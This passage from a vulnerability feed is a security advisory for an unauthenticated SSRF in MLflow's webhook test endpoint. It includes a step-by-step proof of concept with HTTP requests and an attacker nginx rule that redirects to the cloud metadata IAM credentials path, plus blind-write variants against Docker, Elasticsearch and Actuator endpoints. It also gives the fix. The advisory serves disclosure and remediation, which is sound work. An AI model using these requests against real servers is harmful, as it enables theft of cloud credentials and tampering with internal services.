backend) exposes the model-registry webhooks API unauthenticated, including a synchronous `POST /api/2.0/mlflow/webhooks/{id}/test` endpoint that returns the upstream response status and body to the caller. The SSRF guard added in PR #20747 (`_validate_webhook_url`, shipped in 3.10.0) resolves the webhook hostname and rejects non-public IPs, but it is bypassable: delivery follows HTTP redirects (no `allow_redirects=False`) and never pins the validated IP. An attacker hosts a public HTTPS endpoint that passes the guard and returns `302 Location: http://169.254.169.254/...` (or `http://127.0.0.1:...`); MLflow follows it and never re-validates the redirect target. Because `/test` reflects the response body, this is an unauthenticated full-read SSRF on a default server.\n\n### Details\nThree facts combine:\n\n1. Webhook endpoints are unauthenticated on a default server. The only webhook authorization lives in the optional auth plugin (`mlflow/server/auth/__init__.py`, `WEBHOOK_BEFORE_REQUEST_HANDLERS`), which is not loaded by default.\n\n2. The guard validates but pins nothing — `mlflow/utils/validation.py` `_validate_webhook_url`:\n```python\nschemes = _MLFLOW_WEBHOOK_ALLOWED_SCHEMES.get()        # default [\"https\"]\nif parsed_url.scheme not in schemes: raise ...\nif not _MLFLOW_WEBHOOK_ALLOW_PRIVATE_IPS.get():        # default False\n    for addr_info in socket.getaddrinfo(hostname, None):\n        ip = ipaddress.ip_address(addr_info[4][0])\n        if not ip.is_global: raise ...                 # blocks RFC1918/loopback/link-local/metadata\n```\nThe resolved IP is never carried into the connection.\n\n3. Delivery follows redirects and re-resolves with no pinning — mlflow/webhooks/delivery.py:\n```python\ndef _create_webhook_session():\n    adapter = HTTPAdapter(max_retries=retry_strategy)  # retry only; no IP pinning\n    ...\ndef _send_webhook_request(webhook, payload, event, session):\n    _validate_webhook_url(webhook.url)                 # re-validates the ORIGINAL url only\n    return session.post(webhook.url, data=payload_bytes, headers=headers, timeout=timeout)\n    # no allow_redirects=False  -\u003e 302 followed; redirect Location never re-validated\n```\ntest_webhook returns response_status and response_body to the caller.\nBypass vectors:\n\nRedirect-follow (reliable): attacker's allow-listed HTTPS host returns 302 to an internal/metadata URL; requests follows it.\nDNS rebinding (TOCTOU): getaddrinfo in the guard and the requests connect resolve independently with no pinning.\n\n### PoC\nAll requests are unauthenticated, sent to the MLflow tracking server (`{{TARGET}}`). The SSRF\nfetch is performed by the MLflow server itself; the internal response is reflected back in the\n`/test` response. `{{ATTACKER}}` is a host the researcher controls that resolves to a public IP\nand serves HTTPS with a valid certificate, returning a 302 redirect to an internal target.\n\nAttacker redirect server (on {{ATTACKER}}, valid TLS cert):\n    nginx:  location / { return 302 http://169.254.169.254/latest/meta-data/iam/security-credentials/; }\n\nStep 0 — negative control (proves the guard is active; the naive internal URL is rejected):\n\n    POST /api/2.0/mlflow/webhooks HTTP/1.1\n    Host: {{TARGET}}\n    Content-Type: application/json\n\n    {\"name\":\"neg\",\"url\":\"http://127.0.0.1:6379/\",\"events\":[{\"entity\":\"REGISTERED_MODEL\",\"action\":\"CREATED\"}]}\n\n    -\u003e 400 {\"message\":\"Invalid webhook URL scheme: 'http'. Allowed schemes are: https.\"}\n    (an https://127.0.0.1/ variant is likewise rejected as a non-public IP)\n\n\u003cimg width=\"1154\" height=\"437\" alt=\"image\" src=\"https://github.com/user-attachments/assets/509f3a14-8774-4785-b99a-864f0b448019\" /\u003e\n\n\nStep 1 — create a webhook pointing at the attacker's public HTTPS host (passes _validate_webhook_url):\n\n    POST /api/2.0/mlflow/webhooks HTTP/1.1\n    Host: {{TARGET}}\n    Content-Type: application/json\n\n    {\"name\":\"poc\",\"url\":\"https://{{ATTACKER}}/innocent\",\"events\":[{\"entity\":\"REGISTERED_MODEL\",\"action\":\"CREATED\"}]}\n\n    -\u003e 200 {\"webhook\":{\"webhook_id\":\"\u003cWEBHOOK_ID\u003e\", ... ,\"status\":\"ACTIVE\"}}\n\n\u003cimg width=\"1394\" height=\"520\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9004705f-67e1-486f-a905-1f744eb3636d\" /\u003e\n\n\nStep 2 — fire it via the unauthenticated /test endpoint; the internal response body is returned:\n\n    POST /api/2.0/mlflow/webhooks/\u003cWEBHOOK_ID\u003e/test HTTP/1.1\n    Host: {{TARGET}}\n    Content-Type: application/json\n\n    {\"webhook_id\":\"\u003cWEBHOOK_ID\u003e\",\"event\":{\"entity\":\"REGISTERED_MODEL\",\"action\":\"CREATED\"}}\n\n    -\u003e 200 {\"result\":{\"success\":true,\"response_status\":200,\n            \"response_body\":\"\u003ccontents of http://169.254.169.254/latest/meta-data/... fetched by the server\u003e\"}}\n\n\u003cimg width=\"1399\" height=\"453\" alt=\"image\" src=\"https://github.com/user-attachments/assets/1e5bb020-0855-4be8-a53b-e97daeabf1dc\" /\u003e\n\n\nConfirmed live against mlflow==3.13.0 (default sqlite server). With the attacker host redirecting\nto a local secret service, Step 2 returned:\n    \"response_body\":\"INTERNAL_SECRET=mlflow_ssrf_proof_7f3a91\\nrole=admin\\n\"\n\nFor convenience, the \"my secret data\" is saved in the same location.\n\n\u003cimg width=\"730\" height=\"208\" alt=\"image\" src=\"https://github.com/user-attachments/assets/680e1895-6d2e-4fd7-838f-c484561b6e5c\" /\u003e\n\n\n\nNotes:\n- Webhook `events` enum values must be UPPERCASE proto names (REGISTERED_MODEL, CREATED); lowercase\n  maps to ENTITY_UNSPECIFIED and 500s.\n- Default allowed scheme is https only; the first hop must be https, the redirect Location may be http.\n- Webhooks require a SQL store; the default `mlflow server` (sqlite:///mlflow.db) qualifies. No auth needed.\n\n- Credit / independent discovery: Originally reported privately by @freeman-bb via this advisory on 2026-06-12. The same vulnerability was independently discovered through code review and reported publicly by @AUTHENSOR in issue #24179 on 2026-06-26. Fixed in PR #24258. Discovery priority belongs to @freeman-bb; @AUTHENSOR is credited as an independent finder.\n\n### Impact\nAn unauthenticated attacker who can reach the tracking server makes the server issue HTTP requests to arbitrary internal/loopback/cloud-metadata endpoints and reads the responses via /test: cloud instance-metadata (e.g. AWS IMDS IAM credentials), internal-only admin services behind the network boundary, and internal port/host scanning. The event-driven delivery path gives the same SSRF blindly; /test makes it full-read. This is an incomplete fix of the PR #20747 guard, confirmed present on the latest release (3.13.0) and on master. Not a duplicate of CVE-2025-14279 (browser-side rebinding CSRF, CWE-352).\n\n### Fix\n\nFixed in https://github.com/mlflow/mlflow/pull/24258 (commit `ba94952247`), which adds connection-time SSRF protection (`SSRFProtectedHTTPAdapter`): the peer IP of each connected socket is validated against public-IP rules immediately after `connect()`, before any TLS/HTTP exchange. This covers the redirect targets as well (each redirect opens a new connection through the protected pool), closing both the 302-read and 307/308-write variants and the DNS-rebinding TOCTOU.\n\n### Redirect variants\n\nThe same missing re-validation enables two distinct primitives depending on the redirect status code:\n\n- **302 (read):** the redirect target is fetched with GET and, because `POST /api/2.0/mlflow/webhooks/{id}/test` reflects the upstream response body (`WebhookTestResult.response_body`), the attacker reads arbitrary internal HTTP responses (cloud metadata, internal services).\n- **307 / 308 (blind write):** these preserve the original POST method and body, so the attacker can POST attacker-controlled payloads into private-network management endpoints that act on POST (e.g. Docker daemon `/stop`, Elasticsearch `/_close`, Spring Boot Actuator `/shutdown`).\n\nNeither requires authentication on a default OSS server.\n\nThen add a fix reference near the top or in a \"Remediation\" note:","status":"published","published":"2026-08-19T11:56:27.173497Z","modified":"2026-08-21T08:40:32.349552541Z","cvss":[{"version":"3.1","score":9.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N","level":"critical"}],"updated_at":"2026-11-02T15:52:56.847083Z"},{"id":"BIT-mlflow-2026-64849","title":"MLflow: Unauthenticated full-read SSRF in webhook delivery: _validate_webhook_url bypassed via unvalidated HTTP redirects (and DNS rebinding)","description":"MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. Starting in 3.3.0 and prior to 3.15.0, the unauthenticated POST /api/2.0/mlflow/webhooks/{id}/test endpoint calls _validate_webhook_url() in mlflow/utils/validation.py only for the original URL while mlflow/webhooks/delivery.py follows redirects and re-resolves the hostname without pinning the validated address, allowing attackers to reach internal or cloud metadata services and receive response_status and response_body. This issue is fixed in version 3.15.0.","status":"published","published":"2026-08-21T05:51:48.507Z","modified":"2026-10-06T15:15:04.14180274Z","updated_at":"2026-11-02T15:28:33.072289Z"}]}}
